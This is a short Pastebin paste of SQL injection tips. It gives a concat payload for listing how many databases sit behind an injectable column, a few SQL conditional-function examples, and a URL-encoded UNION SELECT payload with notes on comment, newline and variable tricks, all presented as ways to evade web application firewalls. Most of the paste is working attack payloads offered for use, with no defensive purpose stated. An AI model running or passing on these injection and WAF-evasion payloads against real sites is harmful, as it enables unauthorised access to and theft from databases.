Advertisement
Kyfx

Facts on sqling

Jun 12th, 2015
376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.69 KB | None | 0 0
  1. For Those who don't know how to count Total Databases copy and paste in vuln column and see smile emoticon
  2. concat(0x546f74616c204461746162617365733e3e3e3e203a3a20,(select count(*) from information_schema.schemata))
  3.  
  4.  
  5.  
  6.  
  7. There is 4 (Four) Conditional Statements in SQL wink emoticon
  8. 1. CASE
  9. 2. IF()
  10. 3. IFNULL()
  11. 4. NULLIF()
  12. Examples:
  13. SELECT IF(1=1, true, false);
  14. SELECT CASE WHEN 1=1 THEN true ELSE false END;
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21. Try this also work on Hard WAF wink emoticon
  22. %23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
  23.  
  24.  
  25.  
  26. Manual Buffer flow;Buffer flow %23 Comment %0a .. And using @variable before union also breaks hard WAF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement